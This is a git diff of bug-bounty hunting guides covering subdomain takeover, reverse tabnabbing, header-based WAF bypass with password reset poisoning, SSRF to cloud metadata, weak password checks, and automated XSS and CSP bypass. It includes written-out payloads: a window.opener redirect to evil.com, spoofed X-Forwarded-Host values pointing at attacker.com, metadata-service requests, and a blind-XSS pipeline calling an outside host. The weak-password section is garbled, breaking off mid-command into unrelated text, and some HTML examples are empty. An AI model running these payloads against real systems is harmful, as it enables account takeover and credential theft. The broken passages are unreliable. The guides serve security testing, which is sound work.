PoC page referencing the program — never touch real users or data. +8. **Escalate the report**: subdomain takeover also implies wildcard/SSL inheritance and cookie-scope risk on the parent domain (see TLD companion doc). +## Test Cases & Examples +### Basics: DNS & CNAME +![DNS](dns.png) +- When a web address is accessed (e.g. `www.xyz.com`), a DNS query is performed against a DNS server with the host name. +- The DNS server takes the hostname and resolves it into a numeric IP address. + +![CNAME](cname.png) -![Subtakeover_basics](subdomain_takeover.png) +- A CNAME is an alias of one domain name to another: in the example, `xyz.company.com` is the source domain and `xyz.cloudservice.com` is the canonical name. -* Subdomains map themselves to a specific IP, 3rd party services like Azure, AWS, Heroku, Github, Fastly, Shopify, etc. to serve the contents. These subdomains use a CNAME record to another domain [eg. xyz.company.com CNAME xyz.cloudservice.com] -* Now due to whatever reason, the company decides to stop utilizing this service and to save some bucks, the company cancels the subscription of the 3rd party cloud service provider. -* But, the company forgets to update or simply remove the CNAME record in the DNS zone file -* Since the CNAME record is not deleted from company.com DNS zone, anyone who registers xyz.cloudservice.com has full control over xyz.company.com until the DNS record is present. +![Subdomain takeover basics](subdomain_takeover.png) -## How to find subdomain takeover ? +- Subdomains map to a specific IP or third-party service (Azure, AWS, Heroku, GitHub, Fastly, Shopify, …) to serve content, via a CNAME record — e.g. `xyz.company.com CNAME xyz.cloudservice.com`. +- For whatever reason the company stops using the service and cancels the subscription, **but forgets to update or remove the CNAME record** in the DNS zone file. +- Since the CNAME is still present in `company.com`'s zone, anyone who registers `xyz.cloudservice.com` has full control over `xyz.company.com` until the record is removed. -### 1. Subdomain Enumeration -Use the following tools to enumerate subdomains -* [Assetfinder](https://github.com/tomnomnom/assetfinder) -* [Subfinder](https://github.com/projectdiscovery/subfinder) -* [Findomain](https://github.com/Edu4rdSHL/findomain) +### Enumeration & resolution commands -### 2. Checking for takeover -The following tools are designed to scan a list of subdomains concurrently and identify ones that are able to be hijacked. -* [Subjack](https://github.com/haccer/subjack) -* [SubOver](https://github.com/Ice3man543/SubOver) +```bash +subfinder -d target.com | tee -a domains.txt +assetfinder --subsidiary target.com >> domains.txt +sort -u domains.txt -o domains.txt -You can also verify if the subdomain is vulnerable or not by going through common error pages. -### 3. Hijacking the subdomain -Use the following github repositiory to check if the engine is vulnerable or not and the steps for hijacking a particular engine. -* [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) +# collect DNS records per host +cat domains.txt | while read d; do echo "== $d"; dig "$d" ANY +noall +answer; done > digs.txt +grep -i CNAME digs.txt +``` -If you cannot find your engine in the above repository, [Google](https://www.google.com) is your friend ! +```bash +# provider error pages are the smoking gun — browse/HTTP each candidate +curl -skL https://shop.target.com | grep -iE "not found|unavailable|good news|can be taken" +``` + +### Case: CNAME target available to buy -# Case : CNAME available to buy ![CNAME available to buy](cname_buy.png) -* There are cases when the CNAME that a subdomain points to, is available to buy. -* In that case the attacker can directly buy that domain and host his/her content. -### References -[How we Hijacked 26+ Subdomains](https://medium.com/@aishwaryakendle/how-we-hijacked-26-subdomains-9c05c94c7049) +- Sometimes the CNAME's target domain itself is unregistered and purchasable. +- In that case the attacker buys the domain directly and hosts their content — full takeover of every subdomain pointing at it, no provider claim needed. + +## Bypass Techniques -[Subdomain Takeover: Finding Candidates](https://0xpatrik.com/subdomain-takeover-candidates/) +- **Wildcard DNS (`*.target.com`)** records make "not resolved = safe" checks wrong — the wildcard resolves everything, but individual dangling names can still be claimed on the provider; the reverse (wildcard pointed at a provider that lacks the matching wildcard claim) is covered in `Sub_or_top_level_domain_takeover.md`. +- Some providers only validate **one** of domain/CNAME — test `www.` vs apex vs every subdomain label separately. +- CNAME chains several hops deep: follow the whole chain before concluding a hop is "still in use". +- NS-record takeover (`sub-domains` delegated via `NS` to a dead zone) is a related class — check `dig NS` too. -[Subdomain Takeover: Proof Creation for Bug Bounties](https://0xpatrik.com/takeover-proofs/) +## Tools & Resources -#### Check out our talk on the same at NULL / OWASP Bangalore meetup, June 2020 -[https://www.youtube.com/watch?v=xCunHBH8ZQ4](https://www.youtube.com/watch?v=xCunHBH8ZQ4) +**Enumeration:** [Assetfinder](https://github.com/tomnomnom/assetfinder) · [Subfinder](https://github.com/projectdiscovery/subfinder) · [Findomain](https://github.com/Edu4rdSHL/findomain) -### Reports (Hackerone) +**Takeover checking (concurrent scanners):** [Subjack](https://github.com/haccer/subjack) · [SubOver](https://github.com/Ice3man543/SubOver) · subzy/nuclei (see `Easy_Methods.md`) -#### Resolved +**Manual verification:** walk common error pages yourself; for each engine's status and hijack steps use [can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz). If your engine isn't listed — Google is your friend. +**Readings:** +- [How we Hijacked 26+ Subdomains](https://medium.com/@aishwaryakendle/how-we-hijacked-26-subdomains-9c05c94c7049) +- [Subdomain Takeover: Finding Candidates](https://0xpatrik.com/subdomain-takeover-candidates/) +- [Subdomain Takeover: Proof Creation for Bug Bounties](https://0xpatrik.com/takeover-proofs/) +- Talk at NULL / OWASP Bangalore meetup, June 2020: https://www.youtube.com/watch?v=xCunHBH8ZQ4 + +**Example resolved reports (HackerOne):** - [subdomain takeover at news-static.semrush.com](https://hackerone.com/reports/294201) - [Subdomain takeover of resources.hackerone.com](https://hackerone.com/reports/863551) - [Subdomain takeover at info.hacker.one](https://hackerone.com/reports/202767) - [Bulgaria - Subdomain takeover of mail.starbucks.bg](https://hackerone.com/reports/736863) -- [Remote code execution by hijacking an unclaimed S3 bucket in Rocket.Chat's installation script.](https://hackerone.com/reports/399166) +- [Remote code execution by hijacking an unclaimed S3 bucket in Rocket.Chat's installation script](https://hackerone.com/reports/399166) - [Possible SOP bypass in www.starbucks.com due to insecure crossdomain.xml](https://hackerone.com/reports/244504) -# Authors: -[@aish_kendle](https://twitter.com/aish_kendle) +## Report Tips + +- State the chain explicitly: `sub.target.com → CNAME dead-provider.example → unclaimed`, plus the provider's own error string proving nobody owns it. +- PoC = a page you control on the claim (logo text, your handle, "TEST ONLY — do not panic") + screenshot; mention you released/deleted the claim afterwards. +- Frame impact with parent-domain cookie scope (`Domain=.target.com` session theft), phishing on a trusted hostname, and any inherited wildcard SSL — that's what upgrades triage from "stale DNS" to High/Critical. -[@thakare_prateek](https://twitter.com/thakare_prateek) +## Authors -[@klaus](https://twitter.com/klaus_dev) +[@aish_kendle](https://twitter.com/aish_kendle) · [@thakare_prateek](https://twitter.com/thakare_prateek) · [@klaus](https://twitter.com/klaus_dev) diff --git a/Tabnabbing/Tabnabbing.md b/Tabnabbing/Tabnabbing.md index e4a71839..653fb7ba 100644 --- a/Tabnabbing/Tabnabbing.md +++ b/Tabnabbing/Tabnabbing.md @@ -1,30 +1,69 @@ -# Tabnabbing +# Reverse Tabnabbing -Even though this vulnerability is rated by many bug bounty programs as a low severity bug, it is worth looking for it as it is very easy to find. +Reverse tabnabbing lets a page opened via a `target="_blank"` link rewrite the originating tab's URL (`window.opener.location`), silently swapping the victim's still-logged-in page for a convincing phishing login. Many programs rate it low severity, but it is trivially easy to find and is a real credential-theft vector — worth hunting on every app that renders user-controlled links. -### More information about the vulnerability: +Related chain bug: [Open Redirect](../Open_Redirection/Open_Redirection_Hunting.md) (attacker-controlled link destinations). -When tabnabbing, the attacker searches for links that are inserted into the website and are under his control. Such links may be contained in a forum post, for example. Once he has found this kind of functionality, it checks that the link's `rel` attribute does not contain the value `noopener` and the target attribute contains the value `_blank`. If this is the case, the website is vulnerable to tabnabbing. +## Hunting Checklist -### How to exploit: -``` -1. Attacker posts a link to a website under his control that contains the following JS code: window.opener.location = "http://evil.com" -2. He tricks the victim into visiting the link, which is opened in the browser in a new tab. -3. At the same time the JS code is executed and the background tab is redirected to the website evil.com, which is most likely a phishing website. -4. If the victim opens the background tab again and doesn't look at the address bar, it may happen that he thinks he is logged out, because a login page appears, for example. -5. The victim tries to log on again and the attacker receives the credentials +1. Identify links the site renders with `target="_blank"` — especially user-controlled ones (forum posts, comments, profile fields, review text) where the attacker controls the `href`. +2. For each such link, check that the `rel` attribute does **not** contain `noopener` (or `noreferrer`) — without it, the opened page gets full `window.opener` access. +3. Bulk-search crawled HTML with: + +```bash +curl -s https://target.com/blog-post | grep -o ']*target="_blank"[^>]*>' | grep -v noopener ``` -### How to search for it: +4. Or in Burp: engagement tool **Find links** / search engine over responses for `target="_blank"`, then audit the `rel` attribute. +5. Test as a logged-in victim: post a link (or use the existing external link) to your attacker page and see if the original tab can be navigated. +6. Check mitigations before reporting (see Bypass Techniques): modern browsers implied `rel="noopener"` for `target="_blank"` after the 2021 spec change — verify exploitation actually works in a current browser/agent used by the target's users. + +## Test Cases & Examples -As already mentioned, you have to search for the following link formats: +### Vulnerable link formats + +```html + +``` + +or simply: ```html - -or ``` -### Author +### Attacker-page payload + +The page opened by the victim (`https://attacker.com/evil`) contains: + +```javascript +window.opener.location = "http://evil.com"; +``` + +### Exploit flow + +1. Attacker posts a link to a website under his control containing the JS above. +2. He tricks the victim into visiting the link, which opens in a new browser tab. +3. The JS executes and the background tab is redirected to `evil.com` — most likely a phishing site. +4. If the victim reopens the background tab and doesn't look at the address bar, they may think they were logged out, because a login page appears. +5. The victim tries to log in again and the attacker receives the credentials. + +## Bypass Techniques + +- **Forced-opener contexts:** links injected via Markdown/BBCode renderers or rich-text fields that emit `rel="opener"` or strip `noopener` restore full exploitation even where default markup is safe. +- **`window.open` sinks:** pages that call `window.open(url)` without `noopener` in the feature string give the same control — search JS for `window.open(`. +- **iframe/`postMessage` variants:** an embedded frame can act on the parent (`parent.location`) when frames share no protection — pivot to [postMessage XSS](../XSS/post_message_xss.md) if the opener channel is richer. +- If the browser auto-mitigates (newer Chrome/Firefox), target contexts that opt back in: explicit `rel="opener"`, apps shipping Electron/WebView builds, or links opened from emails where the first party is your page anyway. + +## Tools & Resources + +- Burp Suite: Find links, search engine (`target="_blank"`), response grep +- Browser DevTools: console `window.opener.location = 'https://evil.com'` from the opened tab as a quick check +- Reference: OWASP [Reverse tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) · HTML spec `rel=noopener` change (2021, browsers imply `noopener` for `target=_blank`) +- Author: **[@bolli95](https://github.com/bolli95)** + +## Report Tips -* [@bolli95](https://github.com/bolli95) +- Even for low-severity programs: show the full chain with a working phishing page (original tab ends on your fake login) — proof of navigation, not just the missing `rel`. +- Prioritize user-controlled-link vectors (forum/comment/profile URL) over static site links; attacker-chosen `href` on authenticated pages is the strongest framing. +- Note affected user agents/browsers where it still fires, and mention the one-line fix (`rel="noopener noreferrer"`) to help triage accept it quickly. diff --git a/WAF_Bypasses/WAF_Bypass_Using_headers.md b/WAF_Bypasses/WAF_Bypass_Using_headers.md index 36a59cd4..c3809af8 100644 --- a/WAF_Bypasses/WAF_Bypass_Using_headers.md +++ b/WAF_Bypasses/WAF_Bypass_Using_headers.md @@ -1,27 +1,23 @@ -# **WAF Bypass Using Headers (Password Reset Poisoning)** +# WAF Bypass Using Headers (Password Reset Poisoning) -## **Introduction** -Web Application Firewalls (WAFs) are commonly used to filter and monitor HTTP traffic to protect web applications from attacks. However, attackers can bypass WAFs by **manipulating HTTP headers**. One such attack involves **Password Reset Poisoning**, where an attacker leverages forged headers to manipulate the behavior of the application, particularly in password reset functionalities. +Web application firewalls filter and monitor HTTP traffic, but many applications and misconfigured reverse proxies *trust* client-supplied headers (`Host`, `X-Forwarded-*`, `Referer`, IP-spoofing headers) to decide a user's origin, IP, or intended destination. Manipulating these lets an attacker slip past WAF rules, redirect password-reset links to their own domain, spoof trusted IPs, or coerce server-side fetches of internal resources. Header-trust bugs here typically escalate to account takeover (reset token theft) or access control bypass. -This document outlines techniques to **bypass WAFs** using custom headers, including examples of how they can be used in **password reset poisoning** and other similar attacks. +Overlapping routing-header techniques: [Host-Header.md](../Host-Header/Host-Header.md) · 403 trust-header cases: [403Bypass.md](../Status_Code_Bypass/403Bypass.md) ---- +## Hunting Checklist -## **How Does WAF Header Manipulation Work?** -Many web applications rely on **HTTP headers** to determine a user's origin, session, or intended destination. By modifying these headers, an attacker can: -- Trick the application into believing the request is coming from a trusted source. -- Redirect password reset links to an attacker's domain. -- Bypass security measures by manipulating `X-Forwarded-For`, `Referer`, or `Origin` headers. -- Spoof a legitimate user by injecting headers used for authentication. +1. Identify header-trust surface: request password reset, account verification, and any link/email-generating flow while injecting one suspect header at a time. +2. For reset poisoning: replace/via `Host`, `X-Forwarded-Host`, `X-Forwarded`, or `X-Forwarded_Server` with an attacker domain and check the emailed link's host. +3. For IP-restriction bypass: replay blocked requests with each internal-IP header below (`127.0.0.1` / `::1` / private ranges) — compare against the plain request's 403. +4. For cache/routing abuse: combine headers with path fuzzing (see Host-Header doc). +5. Watch for WAF-layer differences: send the same payload with/without the header to see whether the WAF (not the app) blocked it. +6. Confirm blind-side effects with interaction: register a victim-like address, trigger flows, and observe tokens/redirects arriving at your listener. -Some applications also have misconfigured **reverse proxies**, which trust certain headers to determine the client’s IP address, allowing **internal access** through header manipulation. +## Test Cases & Examples ---- +### Header list commonly used for WAF bypass & server-side manipulation -## **Common Headers Used for WAF Bypass** -Below are the most commonly used headers for WAF bypass and server-side manipulation: - -``` +```http X-Forwarded-Host: attacker.com X-Forwarded-Port: 443 X-Forwarded-Scheme: https @@ -35,7 +31,6 @@ Proxy-Host: 127.0.0.1 Request-Uri: 127.0.0.1 X-Forwarded: 127.0.0.1 X-Forwarded-By: 127.0.0.1 -X-Forwarded-For: 127.0.0.1 X-Forwarded-For-Original: 127.0.0.1 X-Forwarded-Host: 127.0.0.1 X-Forwarded-Server: 127.0.0.1 @@ -63,22 +58,18 @@ X-Remote-Addr: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 -X-Original-Url: X-Forwarded-Server: -X-Host: -X-Forwarded-Host: X-Rewrite-Url: ``` ---- +By modifying these headers an attacker can: trick the app into believing the request comes from a trusted source; redirect password-reset links to an attacker domain; bypass security by manipulating `X-Forwarded-For`, `Referer`, `Origin`; spoof a legitimate user via headers used for authentication. Misconfigured reverse proxies that trust client-IP headers also open **internal access**. -## **Practical Attack Scenario: Password Reset Poisoning** -### **Step 1: Identifying the Vulnerability** -- Many web applications send password reset links based on the **Host** or **Origin** headers. -- If these headers are **not validated properly**, an attacker can **poison** the password reset URL. +### Password reset poisoning + +**Step 1 — identify:** many apps build reset links from `Host` or `Origin`; if those are unvalidated, the reset URL can be poisoned. + +**Step 2 — manipulated request:** -### **Step 2: Sending a Manipulated Request** -**Example Request:** ```http POST /reset-password HTTP/1.1 Host: victim-site.com @@ -90,64 +81,69 @@ Content-Type: application/x-www-form-urlencoded email=victim@victim.com ``` -### **Step 3: Intercepting the Response** -If the server does not validate the `X-Forwarded-Host` header, it might send a **password reset link to the victim** that looks like this: +**Step 3 — result:** with no validation of `X-Forwarded-Host`, the email sent to the victim contains: -``` +```text https://attacker.com/reset?token=abcdef123456 ``` -Now, when the victim clicks on the reset link, they will be redirected to the attacker's site, where their credentials can be **stolen via phishing**. +When the victim clicks it, they are redirected to the attacker's site, where credentials can be stolen via phishing — and the reset token itself leaks to the attacker. ---- +### Bypassing IP-based restrictions -## **Other Uses of WAF Header Manipulation** -### **1. Bypassing IP-Based Restrictions** -- Some web applications **block access** based on the user’s IP address. -- If the WAF **trusts headers** like `X-Forwarded-For`, an attacker can **spoof their IP** and gain access. +**Step 1:** some applications block access based on the user's IP; if the WAF trusts `X-Forwarded-For`, an attacker can spoof their IP. -**Example Request:** ```http GET /admin HTTP/1.1 Host: target.com X-Forwarded-For: 192.168.1.100 ``` -- If `192.168.1.100` is a **trusted internal IP**, access will be granted. ---- +**Step 2:** if `192.168.1.100` is a trusted internal IP, access is granted. -### **2. Exploiting Open Redirects** -Some applications use `Referer`, `Redirect`, or `X-Forwarded-Host` to construct redirect URLs. +### Exploiting open redirects via headers + +Some applications use `Referer`, `Redirect`, or `X-Forwarded-Host` to construct redirect URLs: -**Example Request:** ```http GET /login?redirect=https://victim.com HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com ``` -- The victim is redirected to a phishing page **hosted by the attacker**. ---- +The victim is then redirected to a phishing page **hosted by the attacker**. (Parameter-side redirect bypasses: [Open_Redirection_Bypass.md](../Open_Redirection/Open_Redirection_Bypass.md).) + +### SSRF (Server-Side Request Forgery) exploitation -### **3. SSRF (Server-Side Request Forgery) Exploitation** -Some applications **fetch remote resources** based on user input. By modifying headers, an attacker can: -- Force the application to fetch **internal resources**. -- Target **AWS metadata services** or other sensitive internal services. +Some applications fetch remote resources based on user input; modified headers can force fetches of internal resources — AWS metadata or other sensitive internal services: -**Example Request:** ```http GET /api/v1/fetch HTTP/1.1 Host: target.com X-Forwarded-For: 169.254.169.254 X-Real-IP: 169.254.169.254 ``` -- If the application fetches the resource using these headers, it could **leak AWS credentials** or **internal system information**. ---- +If the application fetches the resource using these headers, it could leak AWS credentials or internal system information. (Full SSRF methodology: [SSRF.md](../SSRF/SSRF.md).) + +## Bypass Techniques + +- Send **one** suspect header per request — multiple at once mask which one the backend trusts. +- If a header name is filtered, use the sibling list above (`X-Forwarder-For`, `X-Forwarded-For-Original`, `X-Http-Host-Override`, `Client-Ip`, `True-Client-Ip`, `X-Azure-Ref`, etc. all appear in real stacks). +- Case/whitespace/LWS variations (`X-fOrWaRdEd-For:`, tab before the value) defeat case-sensitive and naive-whitespace WAF regexes. +- Duplicate headers (`X-Forwarded-For: 1.2.3.4` twice) probe first-vs-last-value parsing differences between WAF and origin. +- IPv6/internal formats (`::1`, `10.0.0.1`, decimal/octal IP encodings) when `127.0.0.1` is specifically filtered. +- Domain-confusion values (`site.com.attacker.com`) follow the same endsWith logic as [CORS bypasses](../CORS/CORS_Bypasses.md). + +## Tools & Resources + +- Burp Repeater + match/replace rules for header rotation; Turbo Intruder for large header×value matrices +- [Host-Header.md](../Host-Header/Host-Header.md) (routing-header tests) · [403Bypass.md](../Status_Code_Bypass/403Bypass.md) (IP trust headers on 403s) +- References: OWASP [Testing for Host Header](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Tests_for_Logic_Circumvention/) & PortSwigger research on web cache poisoning and host-header attacks +- Authors: **[Virdoex_hunter](https://twitter.com/Virdoex_hunter)** · **[remonsec](https://x.com/remonsec)** -## **Author** -- **[Virdoex_hunter](https://twitter.com/Virdoex_hunter)** -- **[remonsec](https://x.com/remonsec)** +## Report Tips ---- -*Enhanced and reformatted for HowToHunt repository by [remonsec](https://x.com/remonsec)* +- For reset poisoning, the money shot is the **emailed link containing your domain** (screenshot of inbox + token in URL) — state the impact as token theft → account takeover. +- Include a negative control: the same request without the header produces the normal link/403 — this proves the header, not app logic, is the flaw. +- If only a 302/redirect to your host occurs (no token), report it as host-header-driven open redirect/phishing with the exact user-visible context; avoid claiming ATO you didn't demonstrate. diff --git a/Weak_Password_Policy/Weak_password_policy.md b/Weak_Password_Policy/Weak_password_policy.md index bd85745c..f8a1cac5 100644 --- a/Weak_Password_Policy/Weak_password_policy.md +++ b/Weak_Password_Policy/Weak_password_policy.md @@ -1,24 +1,102 @@ -

Summary:

+# Weak Password Policy -A weak password policy increases the probability of an attacker having success using brute force and dictionary attacks against user accounts. An attacker who can determine user passwords can take over a user's account and potentially access sensitive data in the application. +A weak password policy increases the probability of an attacker succeeding with brute-force and dictionary attacks against user accounts. An attacker who can determine user passwords can take over those accounts and access sensitive data in the application. Severity is typically medium, escalating to high when combined with a missing/weak login rate limit or when the policy applies to privileged/admin accounts. -There are two ways in which this can be checked +## Hunting Checklist -### First Way +1. Test the policy at **every** password-setting surface: account creation, password reset, and "change password" in account settings — applications usually have restrictions while creating an account, but you must check all these cases again when resetting/changing, since validation is often implemented inconsistently. +2. Check if you can use the password same as the Email Address. +3. Check if you can use the password same as the Username. +4. Check if you can use obvious weak passwords such as `123456`, `111111`, `abcabc`, `qwerty123`. +5. Test minimum length enforcement end-to-end (UI message vs. actual server acceptance). +6. Test whether complexity requirements are inverted: short-but-complex (`Aa1!`) accepted while long-but-weak (`passw0rdpassw0rd`) rejected — a policy that fails to block long weak passphrases is still weak. +7. Check whether the policy is client-side only: strip the validation JS (or replay the request directly in Burp) and see if the server still accepts the password. +8. Try the username/email-derived families: `123`, `Welcome1`, company/product name + year, reversed username. +9. Test sequential/repeating patterns (`abcdef`, `aaaaaa`) and keyboard patterns (`qwer1234`) if the app claims to block them. +10. Check whether a leaked/breached-password check exists (e.g. reject of known-breached passwords) and whether default/first-login admin passwords are forced to change. -- Check if you can use Password same as that of Email Address -- Check if you can use Username same as that of Email Address -- Try above mentioned when Resetting Password , Creating Account , Changing Password from Account Settings +## Test Cases & Examples -### Second Way +### Server-side acceptance checks (repeat on signup / reset / change) -- Check if you can use Password some Weak Passwords such as 123456, 111111 , abcabc , qwerty123 -- Try above mentioned when Resetting Password , Creating Account , Changing Password from Account Settings +```http +POST /api/register HTTP/1.1 +Host: target.com +Content-Type: application/json -* Applications usually have Restrictions on Password while Creating Account, Make sure you check for both the cases when Resetting Password +{"email":"tester1@example.com","username":"tester1","password":"tester1@example.com"} +``` +```http +POST /api/register HTTP/1.1 +Host: target.com +Content-Type: application/json -### References +{"email":"tester2@example.com","username":"tester2","password":"tester2"} +``` -- [All About Weak Password Policy](http://applicationsecurity.io/appsec-findings-database/weak-password-policy/) -- [OWASP Guide for Weak Passwords](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy) +```http +POST /api/register HTTP/1.1 +Host: target.com +Content-Type: application/json + +{"email":"tester3@example.com","username":"tester3","password":"123456"} +``` + +```http +POST /api/reset-password HTTP/1.1 +Host: target.com +Content-Type: application/json + +{"token":"","password":"qwerty123"} +``` + +If any of these are accepted server-side, the policy is weak. The same payloads work through the UI — confirm by actually logging in with the weak password, because "the UI complained but the API stored it anyway" is a classic client-side-only validation finding. + +### Bypassing a client-side-only length rule + +```bash +# The form enforces minlength in JS; call the endpoint directly: +curl -sk 'https://target.com/api/change-password' \ + -H 'Content-Type: application/json' \ + -H "Cookie: session=" \ + --data '{"current":"OldPass123!","new":"1234"}' +``` + +### Bulk check with a weak-password list + +```bash +# Example: confirm several trivial passwords are accepted (low volumes, your own test accounts only) +for p in 123456 111111 abcabc qwerty123 password Password1; do + n="$(tr -dc A-Za-z info leak > style issue); pure dependency-version claims need a working CVE match for *this* deployment. ### Authors + * [@harsha0x01](https://twitter.com/harsha0x01) diff --git a/XSS/Automated_XSS.md b/XSS/Automated_XSS.md index 2f3bf8c1..15cabba0 100644 --- a/XSS/Automated_XSS.md +++ b/XSS/Automated_XSS.md @@ -1,8 +1,23 @@ -# Automating XSS Detection Using Dalfox, WaybackURLs, and GF Patterns +# Automated XSS Detection (Dalfox, WaybackURLs, GF Patterns) -## Prerequisites: Installing Go on Your Machine +Manual XSS hunting at bug-bounty scale starts from historical URLs, narrows them with pattern databases, and fires payloads automatically — then human review confirms what the tools flag. This pipeline catches reflected, blind, and unsanitized-parameter candidates quickly across large scopes. Unreviewed tool output is noise; always confirm hits manually before reporting. -Before proceeding, ensure that **Go** is installed on your system. You can install it using the following commands: +Concepts, payload craft, and bypasses: [Xss.md](./Xss.md) · [XSS_Bypass.md](./XSS_Bypass.md) · Contexts: [post_message_xss.md](./post_message_xss.md) · [Bypass_CSP.md](./Bypass_CSP.md) + +## Hunting Checklist + +0. Install Go prerequisites (required by all tomnomnom tooling). +1. Extract historical URLs for the target with **WaybackURLs** (or gau). +2. Narrow candidates with **GF patterns** (`gf xss`) or `grep '='`. +3. **Reflected:** inject a canary payload into every parameter with `qsreplace`, fetch with `curl`, and grep for the unescaped canary. +4. **Blind:** pipe the trimmed parameter list through Dalfox with a callback domain (`-b blindxss.xss.ht`) and monitor the listener. +5. **Special-character survival:** flag parameters that echo `"><()` unencoded — those are high-probability injection points to verify manually. +6. Verify every hit manually (correct context, working bypass, browser execution) — never report raw tool output. +7. Scale: wrap the pipelines in a script (e.g. [QuickXSS](https://github.com/theinfosecguy/QuickXSS)) and run scope-wide. + +## Test Cases & Examples + +### Prerequisites: installing Go ```bash sudo apt install -y golang @@ -12,32 +27,15 @@ export PATH=$GOPATH/bin:$GOROOT/bin:$PATH source .bashrc ``` ---- +### Blind XSS pipeline (Dalfox + callback) -## Hunting Blind XSS Using Dalfox - -To detect blind XSS vulnerabilities, follow these steps: - -1. Use **WaybackURLs** to extract URLs for the target. -2. Use **GF patterns** to identify possible XSS-vulnerable parameters. -3. Utilize **Dalfox** to detect XSS. - -### Execution Command: ```bash waybackurls testphp.vulnweb.com | gf xss | sed 's/=.*/=/' | sort -u | tee Possible_xss.txt && \ cat Possible_xss.txt | dalfox -b blindxss.xss.ht pipe > output.txt ``` ---- - -## Hunting Reflected XSS +### Reflected XSS pipeline (canary echo check) -To identify reflected XSS vulnerabilities, follow these steps: - -1. Extract URLs using **WaybackURLs**. -2. Use **qsreplace** to inject payloads and analyze responses. - -### Execution Command: ```bash waybackurls testphp.vulnweb.com | grep '=' | qsreplace '">' | \ while read host; do @@ -46,11 +44,7 @@ while read host; do done ``` ---- - -## Identifying Parameters That Do Not Filter Special Characters - -The following command checks whether parameters accept special characters without proper sanitization: +### Parameters that do not filter special characters ```bash echo "test.url" | waybackurls | grep "=" | tee waybackurls.txt @@ -63,11 +57,14 @@ cat combinedfuzz.json | while read host; do done | tee XSS.txt ``` ---- +## Bypass Techniques -## Downloading the Required Tools +- A "Vulnerable" canary hit that never executes in the browser is usually an encoding/context issue — re-test the parameter with context-appropriate breakouts from [XSS_Bypass.md](./XSS_Bypass.md). +- Dalfox can miss DOM sinks; pair automation with manual DOM review via [post_message_xss.md](./post_message_xss.md) and Burp's DOM Invlector. +- If WAF blocks tool traffic (rate/UA/payload signatures), throttle requests, change User-Agent, and run bypass payloads from [XSS_Bypass.md](./XSS_Bypass.md); fingerprint the WAF with WhatWaf first. +- Blocked by CSP after a successful injection? Continue in [Bypass_CSP.md](./Bypass_CSP.md). -The following tools are required for this process: +## Tools & Resources | Tool | GitHub Repository | |------|------------------| @@ -77,19 +74,12 @@ The following tools are required for this process: | **GF Patterns** | [GF Patterns](https://github.com/1ndianl33t/Gf-Patterns) | | **qsreplace** | [qsreplace](https://github.com/tomnomnom/qsreplace) | -A complete script can be found here: [QuickXSS](https://github.com/theinfosecguy/QuickXSS) - ---- - -## Contact Information - -For any questions or further discussions, feel free to reach out on Twitter: +Complete ready-made script: [QuickXSS](https://github.com/theinfosecguy/QuickXSS) -- [@g0t_rOoT_](https://twitter.com/g0t_rOoT_) -- [@Fani Malik](https://twitter.com/fanimalikhack) -- [@Faizee Asad](https://twitter.com/faizee_asad) -- [@Prince Prafull](https://twitter.com/princeprafull3) +Contacts for questions/discussion (original authors): [@g0t_rOoT_](https://twitter.com/g0t_rOoT_) · [@Fani Malik](https://twitter.com/fanimalikhack) · [@Faizee Asad](https://twitter.com/faizee_asad) · [@Prince Prafull](https://twitter.com/princeprafull3) ---- +## Report Tips -*Enhanced and reformatted for HowToHunt repository by [remonsec](https://x.com/remonsec)* +- Automation output is a lead list, not evidence: reproduce the XSS live (browser alert / callback email for blind) before submitting. +- For blind XSS, attach the XSS Hunter callback (page URL, cookies-visible flag, admin-panel context) as the primary proof — impact framing "executes where staff view user input" beats the raw hit. +- Report per-parameter findings with the exact vulnerable URL and note the scan scope/timeframe so duplicates and false positives are easy for triage to rule in/out. diff --git a/XSS/Bypass_CSP.md b/XSS/Bypass_CSP.md index 779d1712..77cb6beb 100644 --- a/XSS/Bypass_CSP.md +++ b/XSS/Bypass_CSP.md @@ -1,22 +1,25 @@ -# Content Security Policy (CSP) +# Content Security Policy (CSP) & CSP Bypass -## What is CSP? +Content Security Policy (CSP) is a defense-in-depth mechanism that declares which resources a page may fetch or execute — scripts, styles, frames, connections — via response headers or `` elements. Once enforced, the browser blocks violations, which usually neutralizes naive XSS. Hunting CSP bypasses matters because permissive directives, third-party allowlists, and policy injection turn a "CSP protected" XSS into an exploitable one, keeping the underlying finding at medium–high severity. -Content Security Policy (CSP) is a security mechanism that defines which resources can be fetched or executed by a web page. It acts as a security policy that controls which scripts, images, and iframes can be executed on a specific page and from which sources. CSP is implemented using response headers or meta elements within an HTML page. Once implemented, the browser enforces the policy and actively blocks any violations detected. +Injection payloads themselves: [XSS_Bypass.md](./XSS_Bypass.md) · Main workflow: [Xss.md](./Xss.md) ---- +## Hunting Checklist -## How Does CSP Work? +1. Capture the CSP: `curl -sI https://target.com | grep -i 'content-security-policy'` (also check ``). +2. Audit `script-src` / `default-src` for: `*`, `'unsafe-inline'`, `'unsafe-eval'`, `data:`, `blob:`, `http:`, `https:` bare schemes, and `*.` wildcard subdomains. +3. List every allowlisted host and check it for **JavaScript execution gadgets**: JSONP endpoints, `callback=` parameters, AngularJS template injection, uploadable content served with JS MIME type, open redirects on that host. +4. Check for a CDN/host that appears in **both** `script-src` and a place you control (subdomain takeover candidate, user uploads). +5. Test **CSP injection**: does any request parameter, header, or user value get reflected into the CSP header itself? +6. Check `frame-ancestors` / `frame-src` / `object-src` gaps for clickjacking and plugin-based bypasses. +7. Review `base-uri` — if absent, a `` tag injection rewrites the policy's `'self'` anchor. +8. Note `report-uri` / `report-to` — even when execution is blocked, these can exfiltrate data or confirm the policy in use. -CSP works by restricting the sources from which active and passive content can be loaded. Additionally, it enforces security policies such as preventing the execution of inline JavaScript, disabling the use of `eval()`, and limiting resource loading to specific origins. +## Test Cases & Examples ---- +### Example CSP configuration -## Defining CSP Rules - -The following example illustrates a CSP configuration: - -```plaintext +```text default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; @@ -28,53 +31,47 @@ media-src https://videos.cdn.mozilla.net; 